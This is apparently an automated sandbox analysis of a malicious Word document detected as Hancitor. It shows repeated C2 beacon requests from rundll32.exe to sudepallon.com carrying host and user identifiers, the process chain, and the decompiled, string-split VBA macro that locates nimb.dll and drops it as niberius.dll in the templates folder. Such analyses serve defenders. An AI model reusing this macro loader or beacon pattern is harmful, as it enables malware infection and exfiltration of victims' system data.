Jul 9, 2021 03:08:14.687556982 CEST	390	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:14.756145954 CEST	391	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 5a 41 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKZAPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.22	49252	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:15.052958012 CEST	391	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:15.119353056 CEST	392	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 42 59 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGBYTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.22	49253	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:15.398942947 CEST	393	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:15.466437101 CEST	393	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 46 55 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQFUJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.22	49254	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:15.866475105 CEST	394	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:15.931550980 CEST	394	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 42 59 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHBYSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49174	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:45.168654919 CEST	298	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:45.244801044 CEST	298	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4e 4d 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBNMYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.22	49255	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:16.403978109 CEST	395	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:16.471442938 CEST	395	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 54 47 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQTGJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.22	49256	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:16.741214991 CEST	396	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:16.807413101 CEST	396	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4a 51 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCJQXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.22	49257	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:17.220598936 CEST	397	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:17.285989046 CEST	397	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 46 55 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGFUTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.22	49258	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:17.762155056 CEST	398	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:17.830816984 CEST	399	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4e 4d 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZNMAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.22	49259	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:18.116822004 CEST	399	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:18.184252977 CEST	400	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 47 54 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYGTBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.22	49260	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:19.112562895 CEST	400	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:19.180613995 CEST	401	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 56 45 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQVEJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.22	49261	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:19.456599951 CEST	402	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:19.525388002 CEST	402	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 56 45 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTVEGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.22	49262	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:19.804769993 CEST	403	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:19.871977091 CEST	403	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4e 4d 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTNMGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.22	49263	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:20.140988111 CEST	404	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:20.207606077 CEST	404	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 46 55 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZFUAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.22	49264	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:20.490206003 CEST	405	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:20.557281017 CEST	405	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4b 50 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCKPXARRABw==0

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 2672 Parent PID: 584

General

Start time:	03:06:35
Start date:	09/07/2021
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:	0x13f170000
File size:	1424032 bytes
MD5 hash:	95C38D04597050285A18F66039EDB456
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2776 Parent PID: 2672

General

Start time:	03:06:40
Start date:	09/07/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR
Imagebase:	0xffb00000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2668 Parent PID: 2776

General

Start time:	03:06:40
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR
Imagebase:	0x600000
File size:	44544 bytes
MD5 hash:	51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Hancitor, Description: Yara detected Hancitor, Source: 00000003.00000003.2143615894.00000000003A0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Hancitor, Description: Yara detected Hancitor, Source: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2716 Parent PID: 2668

General

Start time:	03:07:15
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe
Imagebase:	0xa0000
File size:	20992 bytes
MD5 hash:	54A47F6B5E09A77E61649109C6A08866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Module1

Declaration

Line	Content
1	Attribute VB_Name = "Module1"
2	Dim pls as String

Executed Functions

Subroutine Search, APIs: 8, Strings: 2, Number of lines: 15, Relevance: 15.015

APIs	Meta Information
SubFolders
Part of subcall function Search@Module1: SubFolders
Part of subcall function Search@Module1: Files
Part of subcall function Search@Module1: Name
Part of subcall function Search@Module1: Clear
Files
Name
Clear

Strings	Decrypted Strings
"nimb.dll"
"nimb.dll"

Line	Instruction	Meta Information
24	Sub Search(mds as Object, pafs as String)
25	Dim Nedc as Object	executed
28	For Each Nedc in mds.SubFolders	SubFolders SubFolders
29	Search Nedc, pafs
30	Next Nedc	SubFolders SubFolders
31	Dim Ters as Object
32	For Each Ters in mds.Files	Files Files
34	If Ters.Name = "nimb.dll" Then	Name Name
36	pafs = Ters
37	Endif
38	Next Ters	Files Files
39	Exit Sub
39	ErrHandle:
42	Err.Clear	Clear Clear
43	End Sub

Subroutine nam, APIs: 2, Strings: 1, Number of lines: 6, Relevance: 4.506

APIs	Meta Information
Part of subcall function ousx@Module1: DefaultFilePath
Part of subcall function ousx@Module1: wdUserTemplatesPath

Strings	Decrypted Strings
"\""niberius"".dll"

Line	Instruction	Meta Information
12	Sub nam(pafs as String)
13	Call ousx()	executed
14	Dim oxl
15	oxl = "\" & "niberius" & ".dll"
16	Name pafs As pls & oxl
17	End Sub

Subroutine ousx, APIs: 2, Strings: 0, Number of lines: 3, Relevance: 2.503

APIs	Meta Information
DefaultFilePath
wdUserTemplatesPath

Line	Instruction	Meta Information
5	Sub ousx()
6	Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))	DefaultFilePath wdUserTemplatesPath executed
7	End Sub

Subroutine uoia, APIs: 0, Strings: 0, Number of lines: 3, Relevance: 0.003

Line	Instruction	Meta Information
20	Sub uoia(fffs as String)
21	pls = fffs	executed
22	End Sub

Module: Module2

Declaration

Line	Content
1	Attribute VB_Name = "Module2"

Module: Module3

Declaration

Line	Content
1	Attribute VB_Name = "Module3"
2	Dim dfbvc as String

Executed Functions

Subroutine bvxfcsd, APIs: 9, Strings: 3, Number of lines: 15, Relevance: 18.015

APIs	Meta Information
Dir
Left
DefaultFilePath
wdUserTemplatesPath
vbDirectory
Part of subcall function hdhdd@ThisDocument: GetFolder
Left
DefaultFilePath
wdUserTemplatesPath

Strings	Decrypted Strings
"L""o""c"
""""
""""

Line	Instruction	Meta Information
3	Sub bvxfcsd()
5	Call asda()	executed
7	Dim ewrwsdf as String
8	ewrwsdf = "L" & "o" & "c" & dfbvc & "mp"
12	ntgs = 50
13	sda = 49
16	While sda < 50
17	ntgs = ntgs - 1
19	If Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf, vbDirectory) = "" Then	Dir Left DefaultFilePath wdUserTemplatesPath vbDirectory
21	Else
23	sda = 61
24	Endif
26	Wend
27	Call ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf)	Left DefaultFilePath wdUserTemplatesPath
28	End Sub

Subroutine asda, APIs: 0, Strings: 1, Number of lines: 3, Relevance: 1.253

Strings	Decrypted Strings
"al""\Te"

Line	Instruction	Meta Information
31	Sub asda()
33	dfbvc = "al" & "\Te"	executed
34	End Sub

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True
